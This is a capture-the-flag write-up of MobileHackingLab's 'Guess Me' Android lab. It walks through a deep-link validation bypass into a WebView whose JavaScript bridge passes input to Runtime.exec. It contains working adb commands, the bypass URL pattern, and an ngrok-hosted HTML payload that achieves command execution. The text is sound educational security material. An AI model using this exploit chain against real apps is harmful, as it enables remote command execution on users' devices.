Guess Me; Android Deep Link RCE Challenge Writeup ; MobileHackingLab
Challenge Overview
Challenge Name: Guess Me ; Android Deep Link Challenge
Objective: Exploit a deep link vulnerability in an Android application to achieve Remote Code Execution (RCE)
This CTF styled lab was part of the free android hacking course from mobilehackinglab.com on exploiting deeplinks and achieving RCE.
Manifest Recon
When I first looked at this challenge, I knew I had to to find how the app handles deep links. My initial recon focused on the AndroidManifest.xml file.
<activity
android:name="com.mobilehackinglab.guessme.WebviewActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data
android:scheme="mhl"
android:host="mobilehackinglab"/>
</intent-filter>
</activity>
What this tells me is:
The WebviewActivity is exported
It accepts deep links with the scheme
mhl://mobilehackinglab
Analyzing the WebviewActivity
I decompiled the APK and examined the WebviewActivity class. The onCreate method had two interesting function calls at the end:
loadAssetIndex() - loads a local HTML file
handleDeepLink(getIntent()) - processes incoming deep links
The loadAssetIndex() function seemed like a honeypot, just loading file:///android_asset/index.html. I spent a good time thinking this could be the entrypoint. But yes it was likely a honeypot.
The real action was in handleDeepLink()
Understanding Deep Link Validation
The handleDeepLink() function was one critical piece:
private final void handleDeepLink(Intent intent) {
Uri uri = intent != null ? intent.getData() : null;
if (uri != null) {
if (isValidDeepLink(uri)) {
loadDeepLink(uri);
} else {
loadAssetIndex();
}
}
}
It validates the deep link and either loads it or falls back to the local asset. Because we know the above local asset was likely a honeypot, lets focus on isValidDeepLink()
private final boolean isValidDeepLink(Uri uri) {
if ((!Intrinsics.areEqual(uri.getScheme(), "mhl") &&
!Intrinsics.areEqual(uri.getScheme(), "https")) ||
!Intrinsics.areEqual(uri.getHost(), "mobilehackinglab")) {
return false;
}
String queryParameter = uri.getQueryParameter("url");
return queryParameter != null &&
StringsKt.endsWith$default(queryParameter, "mobilehackinglab.com", false, 2, (Object) null);
}
If you observe this function, it accepts certain format for the deeplink schema and returns True if it meets the requirements.
Validation Requirements:
Scheme must be
mhlORhttpsHost must be
mobilehackinglabMust have a
urlquery parameterThe
urlparameter must end withmobilehackinglab.com(This is a very critical piece later during exploitation)
These are some of the valid deeplinks this function accepts
mhl://mobilehackinglab/?url=mobilehackinglab.com
mhl://mobilehackinglab/?url=testmobilehackinglab.com
mhl://mobilehackinglab/?url=test.mobilehackinglab.com
mhl://mobilehackinglab/?url=example.com?mobilehackinglab.com
All of these are accepted due to endsWith
You could open the WebView with this adb shell am start -a android.intent.action.VIEW -c android.intent.category.BROWSABLE -d "mhl://mobilehackinglab/?url=mobilehackinglab.com and you can see the webview with mobilehackinglab page.
The validation only checks if the URL ends with mobilehackinglab.com, not if it is mobilehackinglab.com. This is a classic bypass opportunity for us!
I was stuck here for a while now what next?
The "Aha!" Moment
While analyzing the WebviewActivity, I noticed something critical in the onCreate method:
webView3.addJavascriptInterface(new MyJavaScriptInterface(), "AndroidBridge");
JavaScript is enabled, and there was a custom interface exposed
public final class MyJavaScriptInterface {
@JavascriptInterface
public final void loadWebsite(String url) {
// loads a URL in the webview
}
@JavascriptInterface
public final String getTime(String Time) throws IOException {
try {
Process process = Runtime.getRuntime().exec(Time);
InputStream inputStream = process.getInputStream();
// ... reads output ...
return text;
} catch (Exception e) {
return "Error getting time";
}
}
}
WAIT, WHAT?!
The getTime() method takes user input and passes it directly to Runtime.getRuntime().exec()! This is command injection! Anytime you see where user input lands into exec, you know its going to be fun!
Connecting the Dots - The Attack Chain
Now I had all the pieces:
I can trigger a deep link to load a URL I control (with validation bypass)
That URL loads in a WebView with JavaScript enabled
JavaScript can access
AndroidBridge.getTime(command)getTime()executes arbitrary system commands!
Malicious Deep Link → Load Our Payload Webpage → JavaScript calls AndroidBridge.getTime("command") → RCE!
Crafting the Exploit
Challenge: How do I control the loaded URL while satisfying the validation?
The validation checks if the url parameter ends with mobilehackinglab.com. I can use URL query parameters or could use #
You can observe that the google.com is rendered because its a valid scheme accepted by the app because it also ends with mobilehackinglab.com
adb shell am start -a android.intent.action.VIEW -c android.intent.category.BROWSABLE -d "mhl://mobilehackinglab/?url=google.com/search?q=mobilehackinglab.com"

Bypass Technique:
https://redacted.com?whatever=mobilehackinglab.com
This URL:
Ends with
mobilehackinglab.comLoads content from redacted.com when passed to
webView.loadUrl()This will meet all the criteria and load the page
I created a very basic POC to begin with,
<html>
<body onload="alert(1)">
</body>
</html>
Hosted it using Python:
python3 -m http.server 8000
ngrok http 8000
Basic Poc Test
adb shell am start -a android.intent.action.VIEW \
-c android.intent.category.BROWSABLE \
-d "mhl://mobilehackinglab?url=https://e42d280f9baf.ngrok-free.app?qry=mobilehackinglab.com"

You can see that js functions are executing! Which is a solid win, now lets focus on exploiting this in real world scenario.
Setting Up My Malicious Server
Now that we know js is being executed, lets execute some commands to see if rce is possible, now if you remember the interface, it was AndroidBridge and the function that was accepting custom user input was getTime, hence we use AndroidBridge.getTime("command")
I created a simple HTML payload:
<html>
<body>
<script>
var output = AndroidBridge.getTime("ls");
alert(output);
</script>
</body>
</html>
Same hosted using python and ngrok

When I triggered the deep link, the WebView loaded my malicious page, the JavaScript executed, and I got an alert showing the output of the ls command, the entire Android filesystem!
Rce was achieved :party:
Concepts and Further reads
addJavascriptInterface() is an Android WebView API that exposes Java/Kotlin methods to JavaScript code running in the web page. This creates a bridge between web content and native Android functionality. If not properly secured, it allows malicious JavaScript to call sensitive Android APIs or, in this case, execute system commands.
Disclaimer: While all technical work and problem-solving was done by me, this writeup was edited with assistance from an LLM to improve grammar, clarity, and flow.